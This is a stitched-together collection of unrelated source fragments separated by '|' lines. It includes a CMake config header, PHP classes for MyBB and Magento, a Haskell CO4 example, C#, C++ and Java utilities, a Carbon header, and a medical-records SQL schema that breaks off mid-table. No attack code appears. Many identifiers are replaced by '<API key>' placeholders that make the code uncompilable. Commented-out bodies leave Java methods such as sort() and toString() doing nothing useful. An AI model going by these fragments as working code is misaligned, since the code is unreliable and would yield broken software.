#define EVENT__SIZEOF_INT @EVENT__SIZEOF_INT@
/* The size of a `long', as computed by sizeof. */
#define EVENT__SIZEOF_LONG @EVENT__SIZEOF_LONG@
/* The size of a `long long', as computed by sizeof. */
#define <API key> @<API key>@
/* The size of `off_t', as computed by sizeof. */
#define EVENT__SIZEOF_OFF_T @EVENT__SIZEOF_OFF_T@
#define <API key> @<API key>@
/* The size of a `short', as computed by sizeof. */
#define EVENT__SIZEOF_SHORT @EVENT__SIZEOF_SHORT@
/* The size of `size_t', as computed by sizeof. */
#define <API key> @<API key>@
/* Define to 1 if you have the ANSI C header files. */
#cmakedefine EVENT__STDC_HEADERS 1
/* Define to 1 if you can safely include both <sys/time.h> and <time.h>. */
#cmakedefine <API key> 1
/* The size of `socklen_t', as computed by sizeof. */
#define <API key> @<API key>@
/* The size of 'void *', as computer by sizeof */
#define <API key> @<API key>@
/* set an alias for whatever __func__ __FUNCTION__ is, what sillyness */
#if defined (__func__)
#define EVENT____func__ __func__
#elif defined(__FUNCTION__)
#define EVENT____func__ __FUNCTION__
#else
#define EVENT____func__ __FILE__
#endif
/* Define to `__inline__' or `__inline' if that's what the C compiler
calls it, or to nothing if 'inline' is not supported under any name. */
#ifndef __cplusplus
/* why not c++?
*
* and are we really expected to use EVENT__inline everywhere,
* shouldn't we just do:
* ifdef EVENT__inline
* define inline EVENT__inline
*
* - Ellzey
*/
#define EVENT__inline @EVENT__inline@
#endif
/* Define to `int' if <sys/tyes.h> does not define. */
#define EVENT__pid_t @EVENT__pid_t@
/* Define to `unsigned' if <sys/types.h> does not define. */
#define EVENT__size_t @EVENT__size_t@
/* Define to unsigned int if you dont have it */
#define EVENT__socklen_t @EVENT__socklen_t@
/* Define to `int' if <sys/types.h> does not define. */
#define EVENT__ssize_t @EVENT__ssize_t@
#endif /* \<API key> */
|
<?php
namespace Kodekit\Library;
interface <API key>
{
public function canRender();
public function canRead();
public function canBrowse();
public function canAdd();
public function canEdit();
public function canDelete();
}
|
{-# LANGUAGE TemplateHaskell #-}
{-# LANGUAGE <API key> #-}
{-# LANGUAGE FlexibleContexts #-}
{-# LANGUAGE FlexibleInstances #-}
{-# LANGUAGE ScopedTypeVariables #-}
module CO4.Example.Fib
where
import Language.Haskell.TH (runIO)
import qualified Satchmo.Core.SAT.Minisat
import qualified Satchmo.Core.Decode
import CO4
import CO4.Prelude hiding (nat,uNat,Nat)
$( [d|
data Nat = Z | S Nat deriving Show
constraint p n = eq p (fib n)
fib x =
case x of
Z -> Z
S x' -> case x' of
Z -> S Z
S x'' -> let f1 = fib x'
f2 = fib x''
in
add f1 f2
eq x y = case x of
Z -> case y of Z -> True
_ -> False
S x' -> case y of Z -> False
S y' -> eq x' y'
add x y = case x of
Z -> y
S x' -> S (add x' y)
|] >>= compile [ImportPrelude,Cache]
)
uNat 0 = knownZ
uNat i = union knownZ $ knownS $ uNat $ i - 1
allocator = uNat 4
nat 0 = Z
nat i = S $ nat $ i - 1
result p = solveAndTestP (nat p) allocator encConstraint constraint
|
.container {
margin:10px;
}
|
using System.Linq;
using kino.Core.Framework;
using kino.Messaging;
namespace kino.Cluster
{
public partial class ScaleOutListener
{
private void <API key>(Message message)
{
if ((message.TraceOptions & MessageTraceOptions.Routing) == MessageTraceOptions.Routing)
{
var hops = string.Join("|",
message.GetMessageRouting()
.Select(h => $"{nameof(h.Uri)}:{h.Uri}/{h.Identity.GetAnyString()}"));
logger.Trace($"Message: {message} received from other node via hops {hops}");
}
}
}
}
|
<?php
// Disallow direct access to this file for security reasons
if(!defined("IN_MYBB"))
{
die("Direct initialization of this file is not allowed.<br /><br />Please make sure IN_MYBB is defined.");
}
class <API key> extends <API key> {
var $settings = array(
'friendly_name' => 'poll votes',
'progress_column' => 'topic_id',
'default_per_screen' => 1000,
);
var $cache_poll_details = array();
function import()
{
global $import_session;
$query = $this->old_db->simple_select("poll_votes", "*", "", array('limit_start' => $this->trackers['start_pollvotes'], 'limit' => $import_session['<API key>']));
while($pollvote = $this->old_db->fetch_array($query))
{
$this->insert($pollvote);
}
}
function convert_data($data)
{
$insert_data = array();
// phpBB 3 values
$poll = $this->get_poll_details($data['topic_id']);
$insert_data['uid'] = $this->get_import->uid($data['vote_user_id']);
$insert_data['dateline'] = $poll['dateline'];
$insert_data['voteoption'] = $data['poll_option_id'];
$insert_data['pid'] = $poll['poll'];
return $insert_data;
}
function get_poll_details($tid)
{
global $db;
if(array_key_exists($tid, $this->cache_poll_details))
{
return $this->cache_poll_details[$tid];
}
$query = $db->simple_select("threads", "dateline,poll", "tid = '".$this->get_import->tid($tid)."'");
$poll = $db->fetch_array($query);
$db->free_result($query);
$this->cache_poll_details[$tid] = $poll;
return $poll;
}
function fetch_total()
{
global $import_session;
// Get number of poll votes
if(!isset($import_session['total_pollvotes']))
{
$query = $this->old_db->simple_select("poll_votes", "COUNT(*) as count");
$import_session['total_pollvotes'] = $this->old_db->fetch_field($query, 'count');
$this->old_db->free_result($query);
}
return $import_session['total_pollvotes'];
}
}
|
#include <SDL_events.h>
class Engine
{
public:
static bool StaticInit();
virtual ~Engine();
static std::unique_ptr< Engine > sInstance;
virtual int Run();
void <API key>( bool inShouldKeepRunning ) { mShouldKeepRunning = inShouldKeepRunning; }
virtual void HandleEvent( SDL_Event* inEvent );
protected:
Engine();
virtual void DoFrame();
private:
int DoRunLoop();
bool mShouldKeepRunning;
};
|
<?php
namespace Magento\CatalogSearch\Setup;
use Magento\Framework\Setup\<API key>;
use Magento\Framework\Setup\<API key>;
use Magento\Framework\Setup\<API key>;
/**
* @codeCoverageIgnore
*/
class InstallSchema implements <API key>
{
/**
* {@inheritdoc}
*/
public function install(<API key> $setup, <API key> $context)
{
$installer = $setup;
$installer->startSetup();
$installer->getConnection()->addColumn(
$installer->getTable('<API key>'),
'search_weight',
[
'type' => \Magento\Framework\DB\Ddl\Table::TYPE_FLOAT,
'unsigned' => true,
'nullable' => false,
'default' => '1',
'comment' => 'Search Weight'
]
);
$installer->endSetup();
}
}
|
package com.krawler.portal.util;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader;
import java.io.IOException;
import java.util.ArrayList;
import java.util.Collection;
import java.util.Collections;
import java.util.Comparator;
import java.util.Enumeration;
import java.util.Iterator;
import java.util.List;
import java.util.Set;
import java.util.TreeSet;
/**
* <a href="ListUtil.java.html"><b><i>View Source</i></b></a>
*
* @author Brian Wing Shun Chan
*
*/
public class ListUtil {
public static List copy(List master) {
if (master == null) {
return null;
}
return new ArrayList(master);
}
public static void copy(List master, List copy) {
if ((master == null) || (copy == null)) {
return;
}
copy.clear();
Iterator itr = master.iterator();
while (itr.hasNext()) {
Object obj = itr.next();
copy.add(obj);
}
}
public static void distinct(List list) {
distinct(list, null);
}
public static void distinct(List list, Comparator comparator) {
if ((list == null) || (list.size() == 0)) {
return;
}
Set<Object> set = null;
if (comparator == null) {
set = new TreeSet<Object>();
}
else {
set = new TreeSet<Object>(comparator);
}
Iterator<Object> itr = list.iterator();
while (itr.hasNext()) {
Object obj = itr.next();
if (set.contains(obj)) {
itr.remove();
}
else {
set.add(obj);
}
}
}
public static List fromArray(Object[] array) {
if ((array == null) || (array.length == 0)) {
return new ArrayList();
}
List list = new ArrayList(array.length);
for (int i = 0; i < array.length; i++) {
list.add(array[i]);
}
return list;
}
public static List fromCollection(Collection c) {
if ((c != null) && (c instanceof List)) {
return (List)c;
}
if ((c == null) || (c.size() == 0)) {
return new ArrayList();
}
List list = new ArrayList(c.size());
Iterator itr = c.iterator();
while (itr.hasNext()) {
list.add(itr.next());
}
return list;
}
public static List fromEnumeration(Enumeration enu) {
List list = new ArrayList();
while (enu.hasMoreElements()) {
Object obj = enu.nextElement();
list.add(obj);
}
return list;
}
public static List fromFile(String fileName) throws IOException {
return fromFile(new File(fileName));
}
public static List fromFile(File file) throws IOException {
List list = new ArrayList();
BufferedReader br = new BufferedReader(new FileReader(file));
String s = StringPool.BLANK;
while ((s = br.readLine()) != null) {
list.add(s);
}
br.close();
return list;
}
public static List fromString(String s) {
return fromArray(StringUtil.split(s, StringPool.NEW_LINE));
}
public static List sort(List list) {
return sort(list, null);
}
public static List sort(List list, Comparator comparator) {
// if (list instanceof UnmodifiableList) {
// list = copy(list);
// Collections.sort(list, comparator);
return list;
}
public static List subList(List list, int start, int end) {
List newList = new ArrayList();
int normalizedSize = list.size() - 1;
if ((start < 0) || (start > normalizedSize) || (end < 0) ||
(start > end)) {
return newList;
}
for (int i = start; i < end && i <= normalizedSize; i++) {
newList.add(list.get(i));
}
return newList;
}
public static List<Boolean> toList(boolean[] array) {
if ((array == null) || (array.length == 0)) {
return Collections.EMPTY_LIST;
}
List<Boolean> list = new ArrayList<Boolean>(array.length);
for (boolean value : array) {
list.add(value);
}
return list;
}
public static List<Double> toList(double[] array) {
if ((array == null) || (array.length == 0)) {
return Collections.EMPTY_LIST;
}
List<Double> list = new ArrayList<Double>(array.length);
for (double value : array) {
list.add(value);
}
return list;
}
public static List<Float> toList(float[] array) {
if ((array == null) || (array.length == 0)) {
return Collections.EMPTY_LIST;
}
List<Float> list = new ArrayList<Float>(array.length);
for (float value : array) {
list.add(value);
}
return list;
}
public static List<Integer> toList(int[] array) {
if ((array == null) || (array.length == 0)) {
return Collections.EMPTY_LIST;
}
List<Integer> list = new ArrayList<Integer>(array.length);
for (int value : array) {
list.add(value);
}
return list;
}
public static List<Long> toList(long[] array) {
if ((array == null) || (array.length == 0)) {
return Collections.EMPTY_LIST;
}
List<Long> list = new ArrayList<Long>(array.length);
for (long value : array) {
list.add(value);
}
return list;
}
public static List<Short> toList(short[] array) {
if ((array == null) || (array.length == 0)) {
return Collections.EMPTY_LIST;
}
List<Short> list = new ArrayList<Short>(array.length);
for (short value : array) {
list.add(value);
}
return list;
}
public static List<Boolean> toList(Boolean[] array) {
if ((array == null) || (array.length == 0)) {
return Collections.EMPTY_LIST;
}
List<Boolean> list = new ArrayList<Boolean>(array.length);
for (Boolean value : array) {
list.add(value);
}
return list;
}
public static List<Double> toList(Double[] array) {
if ((array == null) || (array.length == 0)) {
return Collections.EMPTY_LIST;
}
List<Double> list = new ArrayList<Double>(array.length);
for (Double value : array) {
list.add(value);
}
return list;
}
public static List<Float> toList(Float[] array) {
if ((array == null) || (array.length == 0)) {
return Collections.EMPTY_LIST;
}
List<Float> list = new ArrayList<Float>(array.length);
for (Float value : array) {
list.add(value);
}
return list;
}
public static List<Integer> toList(Integer[] array) {
if ((array == null) || (array.length == 0)) {
return Collections.EMPTY_LIST;
}
List<Integer> list = new ArrayList<Integer>(array.length);
for (Integer value : array) {
list.add(value);
}
return list;
}
public static List<Long> toList(Long[] array) {
if ((array == null) || (array.length == 0)) {
return Collections.EMPTY_LIST;
}
List<Long> list = new ArrayList<Long>(array.length);
for (Long value : array) {
list.add(value);
}
return list;
}
public static List<Short> toList(Short[] array) {
if ((array == null) || (array.length == 0)) {
return Collections.EMPTY_LIST;
}
List<Short> list = new ArrayList<Short>(array.length);
for (Short value : array) {
list.add(value);
}
return list;
}
public static List<String> toList(String[] array) {
if ((array == null) || (array.length == 0)) {
return Collections.EMPTY_LIST;
}
List<String> list = new ArrayList<String>(array.length);
for (String value : array) {
list.add(value);
}
return list;
}
public static String toString(List list, String param) {
return toString(list, param, StringPool.COMMA);
}
public static String toString(List list, String param, String delimiter) {
StringBuilder sb = new StringBuilder();
for (int i = 0; i < list.size(); i++) {
Object bean = list.get(i);
// Object value = BeanPropertiesUtil.getObject(bean, param);
// if (value == null) {
// value = StringPool.BLANK;
// sb.append(value.toString());
if ((i + 1) != list.size()) {
sb.append(delimiter);
}
}
return sb.toString();
}
}
|
#ifndef __CARBON__
#define __CARBON__
#ifndef __CORESERVICES__
#include "CoreServices.h"
#endif
#ifndef <API key>
#include "ApplicationServices.h"
#endif
#ifndef <API key>
#include "ApplicationServices.h"
#endif
#ifndef __HIOBJECT__
#include "HIObject.h"
#endif
#ifndef __HITOOLBAR__
#include "HIToolbar.h"
#endif
#ifndef __HIVIEW__
#include "HIView.h"
#endif
#ifndef __HITEXTUTILS__
#include "HITextUtils.h"
#endif
#ifndef __HISHAPE__
#include "HIShape.h"
#endif
#ifndef __BALLOONS__
#include "Balloons.h"
#endif
#ifndef __EVENTS__
#include "Events.h"
#endif
#ifndef __NOTIFICATION__
#include "Notification.h"
#endif
#ifndef __DRAG__
#include "Drag.h"
#endif
#ifndef __CONTROLS__
#include "Controls.h"
#endif
#ifndef __APPEARANCE__
#include "Appearance.h"
#endif
#ifndef __MACWINDOWS__
#include "MacWindows.h"
#endif
#ifndef __TEXTEDIT__
#include "TextEdit.h"
#endif
#ifndef __MENUS__
#include "Menus.h"
#endif
#ifndef __DIALOGS__
#include "Dialogs.h"
#endif
#ifndef __LISTS__
#include "Lists.h"
#endif
#ifndef <API key>
#include "CarbonEventsCore.h"
#endif
#ifndef __CARBONEVENTS__
#include "CarbonEvents.h"
#endif
#ifndef __TEXTSERVICES__
#include "TextServices.h"
#endif
#ifndef __SCRAP__
#include "Scrap.h"
#endif
#ifndef __MACTEXTEDITOR__
#include "MacTextEditor.h"
#endif
#ifndef __MACHELP__
#include "MacHelp.h"
#endif
#ifndef <API key>
#include "ControlDefinitions.h"
#endif
#ifndef __TSMTE__
#include "TSMTE.h"
#endif
#ifndef <API key>
#include "<API key>.h"
#endif
#ifndef __TRANSLATION__
#include "Translation.h"
#endif
#ifndef __AEINTERACTION__
#include "AEInteraction.h"
#endif
#ifndef __TYPESELECT__
#include "TypeSelect.h"
#endif
#ifndef __MACAPPLICATION__
#include "MacApplication.h"
#endif
#ifndef __KEYBOARDS__
#include "Keyboards.h"
#endif
#ifndef __IBCARBONRUNTIME__
#include "IBCarbonRuntime.h"
#endif
#ifndef __CORESERVICES__
#include "CoreServices.h"
#endif
#ifndef __SOUND__
#include "Sound.h"
#endif
#ifndef __CORESERVICES__
#include "CoreServices.h"
#endif
#ifndef __OSA__
#include "OSA.h"
#endif
#ifndef __OSACOMP__
#include "OSAComp.h"
#endif
#ifndef __OSAGENERIC__
#include "OSAGeneric.h"
#endif
#ifndef __APPLESCRIPT__
#include "AppleScript.h"
#endif
#ifndef __ASDEBUGGING__
#include "ASDebugging.h"
#endif
#ifndef __ASREGISTRY__
#include "ASRegistry.h"
#endif
#ifndef __FINDERREGISTRY__
#include "FinderRegistry.h"
#endif
#ifndef <API key>
#include "DigitalHubRegistry.h"
#endif
#ifndef <API key>
#include "ApplicationServices.h"
#endif
#ifndef __PMAPPLICATION__
#include "PMApplication.h"
#endif
#ifndef __NAVIGATION__
#include "Navigation.h"
#endif
#ifndef <API key>
#include "ApplicationServices.h"
#endif
#ifndef __COLORPICKER__
#include "ColorPicker.h"
#endif
#ifndef __CMCALIBRATOR__
#include "CMCalibrator.h"
#endif
#ifndef __NSL__
#include "NSL.h"
#endif
#ifndef __FONTPANEL__
#include "FontPanel.h"
#endif
#ifndef __HTMLRENDERING__
#include "HTMLRendering.h"
#endif
#ifndef <API key>
#include "SpeechRecognition.h"
#endif
#ifndef __CORESERVICES__
#include "CoreServices.h"
#endif
#ifndef __KEYCHAINHI__
#include "KeychainHI.h"
#endif
#ifndef __URLACCESS__
#include "URLAccess.h"
#endif
#ifndef __CORESERVICES__
#include "CoreServices.h"
#endif
#ifndef __APPLEHELP__
#include "AppleHelp.h"
#endif
#ifndef __CORESERVICES__
#include "CoreServices.h"
#endif
#ifndef __ICAAPPLICATION__
#include "ICAApplication.h"
#endif
#ifndef __ICADEVICE__
#include "ICADevice.h"
#endif
#ifndef __ICACAMERA__
#include "ICACamera.h"
#endif
#endif /* __CARBON__ */
|
<?php
namespace view;
require_once("view/ListView.php");
/**
* View that shows a list of unique sessions
* for a specific ip-number
*/
class SessionListView extends ListView
{
private $logSessions = array();
private static $loggedDate = "loggedDate";
private static $pageTitle = "Ip-address: ";
private static $sessionURL = "session";
//get list of unique session for that specific ip-number
public function getSessionList($selectedIP)
{
$logItems = $this->getLogItemsList();
foreach ($logItems as $logItem) {
$latest = $this->getLatestSession($logItem[$this->sessionId], $logItems);
if ($logItem[$this->ip] === $selectedIP) {
if($this->checkIfUnique($logItem[$this->sessionId], $this->sessionId, $this->logSessions)){
array_push($this->logSessions, [$this->sessionId => $logItem[$this->sessionId], Self::$loggedDate => $latest]);
}
}
}
$this->sortBy(Self::$loggedDate, $this->logSessions);
$this->renderHTML(Self::$pageTitle . $selectedIP, $this->renderSessionList());
}
/**
* @param $sessionId
* @param $logItems, array of ip-numbers, sessions, and dates
* @return mixed
* uses temporary array to sort session dates and get the latest logged
*/
private function getLatestSession($sessionId, $logItems)
{
$sessionDateArray = array();
foreach ($logItems as $logItem) {
$dateTime = $this->convertMicroTime($logItem[$this->microTime]);
if ($sessionId == $logItem[$this->sessionId]) {
if (!in_array($dateTime, $sessionDateArray)) {
array_push($sessionDateArray, $dateTime);
}
}
}
return end($sessionDateArray);
}
/**
* @return bool
* checks if user clicked sessionlink
* to view specific logged items in that session
*/
public function <API key>() {
if (isset($_GET[self::$sessionURL]) ) {
return true;
}
return false;
}
private function getSessionUrl($session) {
return "?".self::$sessionURL."=$session";
}
public function getSession() {
assert($this-><API key>());
return $_GET[self::$sessionURL];
}
/**
* @return string that represents HTML for that list of sessions
*/
private function renderSessionList()
{
$ret = "<ul>";
foreach ($this->logSessions as $sessions) {
$sessionId = $sessions[$this->sessionId];
$lastLogged = $sessions[Self::$loggedDate];
$sessionUrl = $this->getSessionUrl($sessions[$this->sessionId]);
$ret .= "<li>Session: <a href='$sessionUrl'>$sessionId</a></li>";
$ret .= "<li>Last logged: $lastLogged</li>";
$ret .= "<br>";
}
$ret .= "</ul>";
return $ret;
}
}
|
-- 442
-- PKCColumnA
-- ListElementAdder with ChainedSupplier with <API key> and <API key> - Added HCPID
CREATE TABLE "Users" (
"MID" INT PRIMARY KEY,
"Password" VARCHAR(20),
"Role" VARCHAR(20) NOT NULL,
"sQuestion" VARCHAR(100),
"sAnswer" VARCHAR(30),
CHECK ("Role" IN ('patient', 'admin', 'hcp', 'uap', 'er', 'tester', 'pha', 'lt'))
)
CREATE TABLE "Hospitals" (
"HospitalID" VARCHAR(10) PRIMARY KEY,
"HospitalName" VARCHAR(30) NOT NULL
)
CREATE TABLE "Personnel" (
"MID" INT PRIMARY KEY,
"AMID" INT,
"role" VARCHAR(20) NOT NULL,
"enabled" INT NOT NULL,
"lastName" VARCHAR(20) NOT NULL,
"firstName" VARCHAR(20) NOT NULL,
"address1" VARCHAR(20) NOT NULL,
"address2" VARCHAR(20) NOT NULL,
"city" VARCHAR(15) NOT NULL,
"state" VARCHAR(2) NOT NULL,
"zip" VARCHAR(10),
"zip1" VARCHAR(5),
"zip2" VARCHAR(4),
"phone" VARCHAR(12),
"phone1" VARCHAR(3),
"phone2" VARCHAR(3),
"phone3" VARCHAR(4),
"specialty" VARCHAR(40),
"email" VARCHAR(55),
"MessageFilter" VARCHAR(60),
CHECK ("role" IN ('admin', 'hcp', 'uap', 'er', 'tester', 'pha', 'lt')),
CHECK ("state" IN ('', 'AK', 'AL', 'AR', 'AZ', 'CA', 'CO', 'CT', 'DE', 'DC', 'FL', 'GA', 'HI', 'IA', 'ID', 'IL', 'IN', 'KS', 'KY', 'LA', 'MA', 'MD', 'ME', 'MI', 'MN', 'MO', 'MS', 'MT', 'NC', 'ND', 'NE', 'NH', 'NJ', 'NM', 'NV', 'NY', 'OH', 'OK', 'OR', 'PA', 'RI', 'SC', 'SD', 'TN', 'TX', 'UT', 'VA', 'VT', 'WA', 'WI', 'WV', 'WY'))
)
CREATE TABLE "Patients" (
"MID" INT PRIMARY KEY,
"lastName" VARCHAR(20),
"firstName" VARCHAR(20),
"email" VARCHAR(55),
"address1" VARCHAR(20),
"address2" VARCHAR(20),
"city" VARCHAR(15),
"state" VARCHAR(2),
"zip1" VARCHAR(5),
"zip2" VARCHAR(4),
"phone1" VARCHAR(3),
"phone2" VARCHAR(3),
"phone3" VARCHAR(4),
"eName" VARCHAR(40),
"ePhone1" VARCHAR(3),
"ePhone2" VARCHAR(3),
"ePhone3" VARCHAR(4),
"iCName" VARCHAR(20),
"iCAddress1" VARCHAR(20),
"iCAddress2" VARCHAR(20),
"iCCity" VARCHAR(15),
"ICState" VARCHAR(2),
"iCZip1" VARCHAR(5),
"iCZip2" VARCHAR(4),
"iCPhone1" VARCHAR(3),
"iCPhone2" VARCHAR(3),
"iCPhone3" VARCHAR(4),
"iCID" VARCHAR(20),
"DateOfBirth" DATE,
"DateOfDeath" DATE,
"CauseOfDeath" VARCHAR(10),
"MotherMID" INT,
"FatherMID" INT,
"BloodType" VARCHAR(3),
"Ethnicity" VARCHAR(20),
"Gender" VARCHAR(13),
"TopicalNotes" VARCHAR(200),
"CreditCardType" VARCHAR(20),
"CreditCardNumber" VARCHAR(19),
"MessageFilter" VARCHAR(60),
"DirectionsToHome" VARCHAR(512),
"Religion" VARCHAR(64),
"Language" VARCHAR(32),
"SpiritualPractices" VARCHAR(100),
"AlternateName" VARCHAR(32),
CHECK ("state" IN ('AK', 'AL', 'AR', 'AZ', 'CA', 'CO', 'CT', 'DE', 'DC', 'FL', 'GA', 'HI', 'IA', 'ID', 'IL', 'IN', 'KS', 'KY', 'LA', 'MA', 'MD', 'ME', 'MI', 'MN', 'MO', 'MS', 'MT', 'NC', 'ND', 'NE', 'NH', 'NJ', 'NM', 'NV', 'NY', 'OH', 'OK', 'OR', 'PA', 'RI', 'SC', 'SD', 'TN', 'TX', 'UT', 'VA', 'VT', 'WA', 'WI', 'WV', 'WY')),
CHECK ("ICState" IN ('AK', 'AL', 'AR', 'AZ', 'CA', 'CO', 'CT', 'DE', 'DC', 'FL', 'GA', 'HI', 'IA', 'ID', 'IL', 'IN', 'KS', 'KY', 'LA', 'MA', 'MD', 'ME', 'MI', 'MN', 'MO', 'MS', 'MT', 'NC', 'ND', 'NE', 'NH', 'NJ', 'NM', 'NV', 'NY', 'OH', 'OK', 'OR', 'PA', 'RI', 'SC', 'SD', 'TN', 'TX', 'UT', 'VA', 'VT', 'WA', 'WI', 'WV', 'WY'))
)
CREATE TABLE "HistoryPatients" (
"ID" INT PRIMARY KEY,
"changeDate" DATE NOT NULL,
"changeMID" INT NOT NULL,
"MID" INT NOT NULL,
"lastName" VARCHAR(20),
"firstName" VARCHAR(20),
"email" VARCHAR(55),
"address1" VARCHAR(20),
"address2" VARCHAR(20),
"city" VARCHAR(15),
"state" CHAR(2),
"zip1" VARCHAR(5),
"zip2" VARCHAR(4),
"phone1" VARCHAR(3),
"phone2" VARCHAR(3),
"phone3" VARCHAR(4),
"eName" VARCHAR(40),
"ePhone1" VARCHAR(3),
"ePhone2" VARCHAR(3),
"ePhone3" VARCHAR(4),
"iCName" VARCHAR(20),
"iCAddress1" VARCHAR(20),
"iCAddress2" VARCHAR(20),
"iCCity" VARCHAR(15),
"ICState" VARCHAR(2),
"iCZip1" VARCHAR(5),
"iCZip2" VARCHAR(4),
"iCPhone1" VARCHAR(3),
"iCPhone2" VARCHAR(3),
"iCPhone3" VARCHAR(4),
"iCID" VARCHAR(20),
"DateOfBirth" DATE,
"DateOfDeath" DATE,
"CauseOfDeath" VARCHAR(10),
"MotherMID" INT,
"FatherMID" INT,
"BloodType" VARCHAR(3),
"Ethnicity" VARCHAR(20),
"Gender" VARCHAR(13),
"TopicalNotes" VARCHAR(200),
"CreditCardType" VARCHAR(20),
"CreditCardNumber" VARCHAR(19),
"MessageFilter" VARCHAR(60),
"DirectionsToHome" VARCHAR(100),
"Religion" VARCHAR(64),
"Language" VARCHAR(32),
"SpiritualPractices" VARCHAR(100),
"AlternateName" VARCHAR(32),
CHECK ("state" IN ('AK', 'AL', 'AR', 'AZ', 'CA', 'CO', 'CT', 'DE', 'DC', 'FL', 'GA', 'HI', 'IA', 'ID', 'IL', 'IN', 'KS', 'KY', 'LA', 'MA', 'MD', 'ME', 'MI', 'MN', 'MO', 'MS', 'MT', 'NC', 'ND', 'NE', 'NH', 'NJ', 'NM', 'NV', 'NY', 'OH', 'OK', 'OR', 'PA', 'RI', 'SC', 'SD', 'TN', 'TX', 'UT', 'VA', 'VT', 'WA', 'WI', 'WV', 'WY')),
CHECK ("ICState" IN ('AK', 'AL', 'AR', 'AZ', 'CA', 'CO', 'CT', 'DE', 'DC', 'FL', 'GA', 'HI', 'IA', 'ID', 'IL', 'IN', 'KS', 'KY', 'LA', 'MA', 'MD', 'ME', 'MI', 'MN', 'MO', 'MS', 'MT', 'NC', 'ND', 'NE', 'NH', 'NJ', 'NM', 'NV', 'NY', 'OH', 'OK', 'OR', 'PA', 'RI', 'SC', 'SD', 'TN', 'TX', 'UT', 'VA', 'VT', 'WA', 'WI', 'WV', 'WY'))
)
CREATE TABLE "LoginFailures" (
"ipaddress" VARCHAR(100) PRIMARY KEY NOT NULL,
"failureCount" INT NOT NULL,
"lastFailure" TIMESTAMP NOT NULL
)
CREATE TABLE "<API key>" (
"ipaddress" VARCHAR(128) PRIMARY KEY NOT NULL,
"failureCount" INT NOT NULL,
"lastFailure" TIMESTAMP NOT NULL
)
CREATE TABLE "icdcodes" (
"Code" NUMERIC(5, 2) PRIMARY KEY NOT NULL,
"Description" VARCHAR(50) NOT NULL,
"Chronic" VARCHAR(3) NOT NULL,
CHECK ("Chronic" IN ('no', 'yes'))
)
CREATE TABLE "CPTCodes" (
"Code" VARCHAR(5) PRIMARY KEY NOT NULL,
"Description" VARCHAR(30) NOT NULL,
"Attribute" VARCHAR(30)
)
CREATE TABLE "<API key>" (
"Code" VARCHAR(5) PRIMARY KEY NOT NULL,
"Description" VARCHAR(80) NOT NULL
)
CREATE TABLE "NDCodes" (
"Code" VARCHAR(10) PRIMARY KEY NOT NULL,
"Description" VARCHAR(100) NOT NULL
)
CREATE TABLE "DrugInteractions" (
"FirstDrug" VARCHAR(9) NOT NULL,
"SecondDrug" VARCHAR(9) NOT NULL,
"Description" VARCHAR(100) NOT NULL,
PRIMARY KEY ("FirstDrug", "SecondDrug")
)
CREATE TABLE "TransactionLog" (
"transactionID" INT PRIMARY KEY NOT NULL,
"loggedInMID" INT NOT NULL,
"secondaryMID" INT NOT NULL,
"transactionCode" INT NOT NULL,
"timeLogged" TIMESTAMP NOT NULL,
"addedInfo" VARCHAR(255)
)
CREATE TABLE "HCPRelations" (
"HCP" INT NOT NULL,
"UAP" INT NOT NULL,
PRIMARY KEY ("HCP", "UAP")
)
CREATE TABLE "PersonalRelations" (
"PatientID" INT NOT NULL,
"RelativeID" INT NOT NULL,
"RelativeType" VARCHAR(35) NOT NULL
)
CREATE TABLE "Representatives" (
"representerMID" INT,
"representeeMID" INT,
PRIMARY KEY ("representerMID", "representeeMID")
)
CREATE TABLE "HCPAssignedHos" (
"hosID" VARCHAR(10) NOT NULL,
"HCPID" INT NOT NULL,
PRIMARY KEY ("hosID", "HCPID")
)
CREATE TABLE "DeclaredHCP" (
"PatientID" INT NOT NULL,
"HCPID" INT NOT NULL,
PRIMARY KEY ("PatientID", "HCPID")
)
CREATE TABLE "OfficeVisits" (
"ID" INT PRIMARY KEY,
"visitDate" DATE,
"HCPID" INT,
"notes" VARCHAR(50),
"PatientID" INT,
"HospitalID" VARCHAR(10)
)
CREATE TABLE "<API key>" (
"PatientID" INT NOT NULL,
"Height" INT,
"Weight" INT,
"Smoker" INT NOT NULL,
"SmokingStatus" INT NOT NULL,
"BloodPressureN" INT,
"BloodPressureD" INT,
"CholesterolHDL" INT,
"CholesterolLDL" INT,
"CholesterolTri" INT,
"HCPID" INT,
"AsOfDate" TIMESTAMP NOT NULL
)
CREATE TABLE "PersonalAllergies" (
"PatientID" INT NOT NULL,
"Allergy" VARCHAR(50) NOT NULL
)
CREATE TABLE "Allergies" (
"ID" INT PRIMARY KEY,
"PatientID" INT NOT NULL,
"Description" VARCHAR(50) NOT NULL,
"FirstFound" TIMESTAMP NOT NULL
)
CREATE TABLE "OVProcedure" (
"ID" INT,
"VisitID" INT NOT NULL,
"CPTCode" VARCHAR(5) NOT NULL,
"HCPID" VARCHAR(10) NOT NULL,
PRIMARY KEY ("ID", "HCPID")
)
CREATE TABLE "OVMedication" (
"ID" INT PRIMARY KEY,
"VisitID" INT NOT NULL,
"NDCode" VARCHAR(9) NOT NULL,
"StartDate" DATE,
"EndDate" DATE,
"Dosage" INT,
"Instructions" VARCHAR(500)
)
CREATE TABLE "OVReactionOverride" (
"ID" INT PRIMARY KEY,
"OVMedicationID" INT REFERENCES "OVMedication" ("ID") NOT NULL,
"OverrideCode" VARCHAR(5),
"OverrideComment" VARCHAR(255)
)
CREATE TABLE "OVDiagnosis" (
"ID" INT PRIMARY KEY,
"VisitID" INT NOT NULL,
"ICDCode" DECIMAL(5, 2) NOT NULL
)
CREATE TABLE "GlobalVariables" (
"Name" VARCHAR(20) PRIMARY KEY,
"Value" VARCHAR(20)
)
CREATE TABLE "FakeEmail" (
"ID" INT PRIMARY KEY,
"ToAddr" VARCHAR(100),
"FromAddr" VARCHAR(100),
"Subject" VARCHAR(500),
"Body" VARCHAR(2000),
"AddedDate" TIMESTAMP NOT NULL
)
CREATE TABLE "ReportRequests" (
"ID" INT PRIMARY KEY,
"RequesterMID" INT,
"PatientMID" INT,
"ApproverMID" INT,
"RequestedDate" TIMESTAMP,
"ApprovedDate" TIMESTAMP,
"ViewedDate" TIMESTAMP,
"Status" VARCHAR(30),
"Comment" VARCHAR(50)
)
CREATE TABLE "OVSurvey" (
"VisitID" INT PRIMARY KEY,
"SurveyDate" TIMESTAMP NOT NULL,
"WaitingRoomMinutes" INT,
"ExamRoomMinutes" INT,
"VisitSatisfaction" INT,
"<API key>" INT
)
CREATE TABLE "LOINC" (
"<API key>" VARCHAR(7),
"Component" VARCHAR(100),
